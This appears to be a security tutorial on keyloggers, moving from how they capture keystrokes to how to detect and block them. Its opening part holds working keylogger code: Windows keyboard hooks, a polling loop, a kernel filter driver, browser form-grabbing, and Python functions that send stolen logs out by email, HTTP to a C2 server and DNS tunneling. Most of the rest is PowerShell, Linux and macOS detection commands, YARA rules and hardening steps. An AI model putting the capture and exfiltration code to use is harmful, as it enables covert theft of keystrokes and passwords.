Keyloggers: How They Work and How to Detect Them

// SetWindowsHookEx — installs a global keyboard hook
// WH_KEYBOARD_LL: low-level keyboard hook, monitors all keystrokes
 
HHOOK hHook = SetWindowsHookEx(
    WH_KEYBOARD_LL,           // Hook type: low-level keyboard
    KeyboardProc,             // Callback function
    NULL,                     // Module handle (NULL for all processes)
    0                         // Thread ID (0 = all threads)
);
 
// The callback receives every keypress in every application
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT*)lParam;
        // pkbhs->vkCode contains the virtual key code
        // Log to file, transmit to C2, etc.
        LogKeystroke(pkbhs->vkCode, pkbhs->time);
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}

// GetAsyncKeyState — polling approach (less sophisticated)
// Checks current state of each key
 
while (running) {
    for (int key = 8; key <= 190; key++) {
        if (GetAsyncKeyState(key) & 1) {  // Key was pressed since last call
            LogKeypress(key);
        }
    }
    Sleep(10);  // Poll every 10ms
}

// Windows kernel driver (simplified conceptual representation)
// KMDF filter driver for keyboard class driver
 
NTSTATUS AddDevice(PDRIVER_OBJECT driverObject, PDEVICE_OBJECT physicalDeviceObject) {
    // Create filter device above keyboard class driver
    IoCreateDevice(driverObject, 0, NULL,
        FILE_DEVICE_KEYBOARD, 0, FALSE, &filterDevice);
 
    // Attach to keyboard device stack
    IoAttachDeviceToDeviceStack(filterDevice, physicalDeviceObject);
    // Now all keyboard IRPs pass through our filter driver first
}
 
// IRP_MJ_READ handler — keyboard read requests
NTSTATUS KeyboardRead(PDEVICE_OBJECT deviceObject, PIRP irp) {
    // Set completion routine: called when keyboard driver completes the read
    IoSetCompletionRoutine(irp, KeyboardReadCompletion, NULL, TRUE, FALSE, FALSE);
    return IoCallDriver(lowerDevice, irp);  // Pass IRP to keyboard driver
}
 
// Called when keyboard driver returns data
NTSTATUS KeyboardReadCompletion(PDEVICE_OBJECT deviceObject, PIRP irp, PVOID context) {
    PKEYBOARD_INPUT_DATA keyData = (PKEYBOARD_INPUT_DATA)irp->AssociatedIrp.SystemBuffer;
    // keyData contains the keystrokes — log them before returning to OS
    LogKeystrokes(keyData, irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA));
    return STATUS_SUCCESS;
}

// Zeus/SpyEye form-grabbing approach (documented in malware analysis reports)
// Hook browser SSL/TLS send function to capture POST data before encryption
 
// For Firefox (32-bit), hook PR_Write in nss3.dll:
void* original_PR_Write = GetProcAddress(GetModuleHandle("nss3.dll"), "PR_Write");
// Inline hook: redirect PR_Write to our function, capture data, call original
 
// Our hook captures:
// - The exact URL being submitted to
// - The POST body (containing username=X&password=Y)
// This works even with autofill — no keystrokes required
// This works with HTTPS — we intercept before the SSL layer

# Email exfiltration (common in commodity keyloggers)
# Look for outbound SMTP from non-mail processes
 
import smtplib
from email.mime.text import MIMEText
 
def exfil_via_email(log_contents, attacker_email, smtp_server, credentials):
    msg = MIMEText(log_contents)
    msg['Subject'] = f'Log_{datetime.now()}'
    msg['From'] = credentials['user']
    msg['To'] = attacker_email
 
    with smtplib.SMTP_SSL(smtp_server, 465) as server:
        server.login(credentials['user'], credentials['password'])
        server.send_message(msg)
 
# Detection: Outbound port 587/465/25 from processes that have no reason to send email
# Process names to flag: svchost32.exe, update.exe, anything in AppData or Temp

# HTTP/HTTPS C2 exfiltration (more sophisticated)
# Beacon to C2 server, upload log contents embedded in HTTP POST
 
import requests
import base64
 
def beacon_to_c2(log_data, c2_url):
    # Encode to avoid content filtering
    encoded = base64.b64encode(log_data.encode()).decode()
 
    # POST to C2 — blends in as legitimate HTTPS traffic
    requests.post(c2_url, data={'data': encoded},
                  headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...'})
 
# Detection: Regular outbound HTTPS from unusual processes
# Beacon interval timing (periodic connections at fixed intervals)
# New/unusual domains in DNS logs

# DNS tunneling (advanced, hard to detect)
# Encode log data in DNS query labels
 
import dns.resolver
 
def dns_exfil(log_chunk, c2_domain):
    # Encode data as hex, split into 63-char labels
    encoded = log_chunk.hex()
    labels = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
    subdomain = '.'.join(labels) + '.' + c2_domain
 
    # DNS query for a nonexistent domain — C2 server logs the query
    try:
        dns.resolver.resolve(subdomain, 'A')
    except:
        pass  # Expected to fail; the query itself is the channel
 
# Detection: High-entropy subdomain queries, long DNS query strings
# Tools: Zeek DNS log analysis, Darktrace, Cisco Umbrella anomaly detection

# Enumerate all running processes with their paths
Get-Process | Select-Object Id, ProcessName, Path, Company, Description |
  Sort-Object Path | Format-Table -AutoSize
 
# Find processes running from suspicious locations
Get-Process | Where-Object {
    $_.Path -match "(%TEMP%|Temp\\|AppData\\Local\\Temp|AppData\\Roaming\\)" -or
    $_.Path -match "(AppData\\Roaming\\[^\\]+\\[^\\]+\.exe)" -or
    ($_.Path -notmatch "^C:\\Windows" -and $_.Path -notmatch "^C:\\Program Files")
} | Select-Object ProcessName, Id, Path
 
# Check for global keyboard hooks (WH_KEYBOARD_LL = 13)
# Using Get-WmiObject to list processes with unusual characteristics
Get-WmiObject Win32_Process |
  Where-Object {$_.CommandLine -ne $null} |
  Select-Object Name, ProcessId, CommandLine |
  Where-Object {$_.CommandLine -match "(keyboard|keylog|hook|logger)"} |
  Format-Table -AutoSize
 
# List loaded drivers (kernel-level keyloggers appear here)
Get-WmiObject Win32_SystemDriver |
  Where-Object {$_.State -eq "Running"} |
  Select-Object Name, PathName, State, StartMode |
  Where-Object {
    $_.PathName -notmatch "^C:\\Windows\\System32\\drivers" -and
    $_.PathName -notmatch "^C:\\Windows\\SysWOW64"
  } | Format-Table -AutoSize
 
# Check scheduled tasks for suspicious entries
Get-ScheduledTask |
  Where-Object {$_.State -ne "Disabled"} |
  ForEach-Object {
    $action = $_.Actions | Where-Object {$_.Execute -ne $null}
    [PSCustomObject]@{
      Name = $_.TaskName
      Path = $_.TaskPath
      Execute = $action.Execute
      Arguments = $action.Arguments
    }
  } |
  Where-Object {
    $_.Execute -match "(AppData|Temp|ProgramData)" -or
    $_.Execute -notmatch "^C:\\Windows"
  } | Format-Table -AutoSize
 
# Check startup registry keys
$startup_keys = @(
  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
  "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
  "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run",
  "HKLM:\SYSTEM\CurrentControlSet\Services"
)
 
foreach ($key in $startup_keys) {
  if (Test-Path $key) {
    Get-ItemProperty $key 2>/dev/null |
      Select-Object * -ExcludeProperty PS* |
      Format-Table -AutoSize
  }
}
 
# Detect WH_KEYBOARD hooks installed by processes
# (Requires optional Windows SDK component or third-party tool)
# Simpler approach: use WinSpy++ or Process Hacker

# Verify DLLs loaded by browser processes (detect form grabbers)
$browser_processes = @("chrome", "firefox", "msedge", "brave", "opera")
 
foreach ($browser in $browser_processes) {
  $procs = Get-Process -Name $browser -ErrorAction SilentlyContinue
  foreach ($proc in $procs) {
    Write-Host "--- $browser (PID: $($proc.Id)) ---"
    $proc.Modules |
      Where-Object {
        # Flag DLLs outside standard Windows/browser paths
        $_.FileName -notmatch "^C:\\Windows" -and
        $_.FileName -notmatch "^C:\\Program Files" -and
        $_.FileName -notmatch $proc.Path.Substring(0, $proc.Path.LastIndexOf('\'))
      } |
      Select-Object FileName, FileVersion |
      Format-Table -AutoSize
  }
}

# TCPView / Get-NetTCPConnection — identify unusual outbound connections
 
# All established connections with process names
Get-NetTCPConnection -State Established |
  ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
      LocalAddress = $_.LocalAddress
      LocalPort = $_.LocalPort
      RemoteAddress = $_.RemoteAddress
      RemotePort = $_.RemotePort
      State = $_.State
      ProcessName = $proc.Name
      ProcessPath = $proc.Path
      PID = $_.OwningProcess
    }
  } |
  # Flag connections from processes in unusual locations
  Where-Object {
    $_.ProcessPath -match "(AppData|Temp|ProgramData)" -or
    $_.RemotePort -in @(25, 465, 587)  # SMTP from non-mail applications
  } |
  Format-Table -AutoSize
 
# Monitor for new connections in real time
while ($true) {
  $connections = Get-NetTCPConnection -State Established
  foreach ($conn in $connections) {
    $proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
    Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $($proc.Name) → $($conn.RemoteAddress):$($conn.RemotePort)"
  }
  Start-Sleep -Seconds 5
}

# Check for new service installations (kernel keyloggers install as services)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} |
  Select-Object TimeCreated, Message |
  ForEach-Object {
    if ($_.Message -match "Service Name:\s*(.+)") {
      $serviceName = $Matches[1]
      $serviceFile = if ($_.Message -match "Service File Name:\s*(.+)") {$Matches[1]} else {"Unknown"}
      Write-Host "New service: $serviceName → $serviceFile at $($_.TimeCreated)"
    }
  }
 
# Check for driver loading events
Get-WinEvent -FilterHashtable @{LogName='System'; Id=6} |
  Select-Object TimeCreated, Message |
  Format-Table -AutoSize
 
# Process creation with Sysmon (Event ID 1) — requires Sysmon installed
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
  ForEach-Object {
    $xml = [xml]$_.ToXml()
    $image = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "Image"} | Select-Object -ExpandProperty '#text'
    $cmdline = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "CommandLine"} | Select-Object -ExpandProperty '#text'
    [PSCustomObject]@{
      Time = $_.TimeCreated
      Image = $image
      CommandLine = $cmdline
    }
  } |
  Where-Object {$_.Image -match "(Temp|AppData|ProgramData)"} |
  Format-Table -AutoSize

# Check for keyboard input device access — legitimate processes are limited
sudo lsof /dev/input/event*
 
# Expected processes with input device access:
# - X11 or Wayland display server
# - libinput
# - xorg-server
# - accessibility daemons
 
# Any unexpected process accessing /dev/input/event* is suspicious
 
# Find all processes that have opened input devices
sudo fuser /dev/input/event*
 
# More detailed: check what files each process has open
for proc in $(ls /proc | grep -E '^[0-9]+$'); do
  if ls /proc/$proc/fd 2>/dev/null | xargs -I{} readlink /proc/$proc/fd/{} 2>/dev/null |
     grep -q "/dev/input"; then
    echo "PID $proc ($(cat /proc/$proc/comm 2>/dev/null)) has input device open"
  fi
done

# Check loaded kernel modules for unknown entries
lsmod | grep -v -f /var/lib/known_modules.txt 2>/dev/null || lsmod
# Build baseline: lsmod > /var/lib/known_modules.txt
 
# Check module signatures
for mod in $(lsmod | awk 'NR>1 {print $1}'); do
  sig=$(modinfo $mod 2>/dev/null | grep "^signer:")
  taint=$(modinfo $mod 2>/dev/null | grep "taint:")
  if [ -n "$taint" ]; then
    echo "TAINTED MODULE: $mod | $taint | $sig"
  fi
done
 
# Check for unsigned/out-of-tree modules
modinfo $(lsmod | awk 'NR>1 {print $1}') 2>/dev/null | grep -E "^(name|filename|signer|sig_key):"
 
# Recent module loads
dmesg | grep -i "module\|driver\|keyboard" | tail -50
 
# Kernel integrity check (if IMA enabled)
cat /sys/kernel/security/ima/policy 2>/dev/null

# Process inspection
# All processes with their command lines
ps aux --forest
 
# Processes accessing network connections
ss -tulnp
 
# New processes since last check (save baseline first)
ps aux | awk '{print $11}' | sort > /tmp/current_procs.txt
diff /tmp/baseline_procs.txt /tmp/current_procs.txt 2>/dev/null
 
# Monitor new connections in real time
watch -n 2 'ss -tnp | grep ESTABLISHED'
 
# Check all established connections with process info
ss -tnp state established
 
# Find processes making outbound SMTP connections (port 25/465/587)
ss -tnp | grep -E ':25|:465|:587'

# Check cron jobs (exfiltration scheduling)
crontab -l 2>/dev/null
sudo crontab -l 2>/dev/null
 
# All user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
  crontab_content=$(crontab -u "$user" -l 2>/dev/null)
  if [ -n "$crontab_content" ]; then
    echo "=== Crontab for $user ==="
    echo "$crontab_content"
  fi
done
 
# System cron
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab
 
# Systemd timers (modern replacement for cron)
systemctl list-timers --all
 
# Recently modified files (potential keylogger installation artifacts)
find /etc /usr/bin /usr/sbin /bin /sbin /lib /lib64 \
  -newer /tmp -type f -ls 2>/dev/null |
  sort -k8 | tail -50  # Most recently modified
 
# Look for hidden files in home directories and common locations
find /home /tmp /var/tmp /dev/shm \
  -name ".*" -type f -ls 2>/dev/null

# Network traffic analysis for exfiltration
# Capture traffic and analyze for keystroke log patterns
tcpdump -i any -w /tmp/capture.pcap -c 10000 &
TCPDUMP_PID=$!
sleep 60
kill $TCPDUMP_PID
 
# Analyze with tshark
tshark -r /tmp/capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.len |
  sort | uniq -c | sort -rn | head -30
# Look for: regular small packets to unusual destinations
# Regular beaconing pattern (same destination, consistent interval)
 
# DNS tunneling detection
tcpdump -r /tmp/capture.pcap -n udp port 53 2>/dev/null | \
  awk '{print $NF}' | sort | uniq -c | sort -rn | head -20
# Look for: high-entropy subdomain labels, unusually long query strings

# macOS — check for keyboard event access
# Privacy settings control which apps can monitor keyboard
# System Preferences → Security & Privacy → Privacy → Input Monitoring
# List apps with input monitoring access:
tccutil list 2>/dev/null | grep "kTCCServiceListenEvent"
 
# Process monitoring
ps aux | grep -v grep | grep -i -E "key|log|monitor|spy|hook"
 
# Launch agents and daemons (persistence locations)
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/
sudo ls -la /System/Library/LaunchDaemons/
 
# Check launch agent contents for suspicious programs
for plist in ~/Library/LaunchAgents/*.plist; do
  echo "=== $plist ==="
  /usr/libexec/PlistBuddy -c "Print :ProgramArguments" "$plist" 2>/dev/null
done
 
# Kernel extensions (older macOS keyloggers used kexts)
kextstat | grep -v apple
# Any non-Apple kext is worth investigating
 
# Network connections with process info
sudo lsof -i -n -P | grep ESTABLISHED
 
# Recent application installs
ls -lt /Applications/ | head -20
ls -lt ~/Applications/ | head -20
 
# Check for suspicious Login Items
# System Preferences → Users & Groups → Login Items (macOS 12 and earlier)
# System Preferences → General → Login Items (macOS 13+)
# Or via command line:
osascript -e 'tell application "System Events" to get the name of every login item'

rule Win_Keylogger_SetWindowsHook {
    meta:
        description = "Detects SetWindowsHookEx-based keyboard hooks"
        author = "Security Team"
        severity = "medium"
 
    strings:
        $hook_func = "SetWindowsHookEx" ascii
        $unhook = "UnhookWindowsHookEx" ascii
        $keyboard_ll = {13 00 00 00}  // WH_KEYBOARD_LL = 13
        $callnext = "CallNextHookEx" ascii
        $get_msg = "GetMessage" ascii wide
 
    condition:
        $hook_func and $unhook and $callnext and
        ($keyboard_ll or $get_msg) and
        filesize < 2MB
}
 
rule Win_Keylogger_GetAsyncKeyState {
    meta:
        description = "Detects polling-based keylogger using GetAsyncKeyState"
        severity = "medium"
 
    strings:
        $api = "GetAsyncKeyState" ascii
        $loop_pattern_1 = { 6A 5A E8 }  // push 0x5A (Z key) + call
        $loop_pattern_2 = { 6A 01 E8 }  // push 1 + call
        $log_write = { FF 15 }  // indirect call (WriteFile)
 
    condition:
        $api and ($loop_pattern_1 or $loop_pattern_2) and filesize < 1MB
}
 
rule Win_FormGrabber_BrowserHook {
    meta:
        description = "Detects browser form grabber patterns"
        severity = "high"
 
    strings:
        $nss = "nss3.dll" ascii wide nocase
        $pr_write = "PR_Write" ascii
        $ssl_write = "SSL_Write" ascii
        $cf_write = "CF_Write" ascii  // Chromium
        $hooking = { 8B 0D ?? ?? ?? ?? FF 15 }  // Common inline hook pattern
 
    condition:
        ($nss or $pr_write or $ssl_write or $cf_write) and
        $hooking and
        pe.imports("kernel32.dll", "VirtualProtect") and  // Memory permission changes = hooking
        filesize < 5MB
}
 
rule Generic_Keylogger_EmailExfil {
    meta:
        description = "Detects keylogger with email exfiltration capability"
        severity = "high"
 
    strings:
        $smtp = "smtp" ascii wide nocase
        $mail_to = "mail_to" ascii nocase
        $sendmail = "SendMail" ascii wide nocase
        $keylog_string = "keylog" ascii nocase
        $hook_string = "SetWindowsHookEx" ascii
        $getstate = "GetAsyncKeyState" ascii
 
    condition:
        ($smtp or $mail_to or $sendmail) and
        ($hook_string or $getstate) and
        filesize < 5MB
}

# Run YARA scans
# Install: apt install yara or brew install yara
 
# Scan running processes
yara -p 4 keylogger_rules.yar /proc/*/exe 2>/dev/null  # Linux
yara -p 4 keylogger_rules.yar C:\Windows\System32\ 2>$null  # Windows via WSL or native
 
# Scan common malware locations
yara keylogger_rules.yar %APPDATA% /s 2>$null
yara keylogger_rules.yar %TEMP% /s 2>$null
yara keylogger_rules.yar %ProgramData% /s 2>$null
 
# Scan memory of all running processes (Windows, requires elevated)
yara -p 4 keylogger_rules.yar [PID]

# Windows: Enable Driver Signature Enforcement
# (Prevents unsigned kernel drivers — blocks most commodity rootkits)
# Verify status:
bcdedit /enum | findstr nointegritychecks  # Should not appear
# Enable if disabled:
bcdedit /set nointegritychecks off
bcdedit /set testsigning off
 
# Enable Secure Boot (via BIOS/UEFI — verify in OS)
Confirm-SecureBootUEFI  # Returns True if enabled
 
# Enable Credential Guard (protects LSASS, also disrupts some rootkit techniques)
# Requires: Windows 10 Enterprise/Education, Hyper-V, IOMMU
# Enable via Group Policy: Computer Configuration → Administrative Templates →
# System → Device Guard → Turn On Virtualization Based Security
 
# Standard user account for daily work (prevents kernel driver installation)
# Admin account for admin tasks only — UAC prompt for driver installation
# breaks most commodity keylogger installation paths

# Linux: Enable kernel lockdown mode (blocks unsigned module loading)
# Requires UEFI Secure Boot
 
# Check current lockdown level:
cat /sys/kernel/security/lockdown
 
# Enable at boot (Grub configuration):
# Add to GRUB_CMDLINE_LINUX_DEFAULT: lockdown=confidentiality
# Update grub: sudo update-grub
 
# LSM (Linux Security Module) controls:
# AppArmor / SELinux / Seccomp profiles for sensitive processes
# Restrict /dev/input access to specific processes via AppArmor profile
 
# Audit input device access:
auditctl -w /dev/input/ -p rw -k input_device_access
# Log any access to /dev/input/*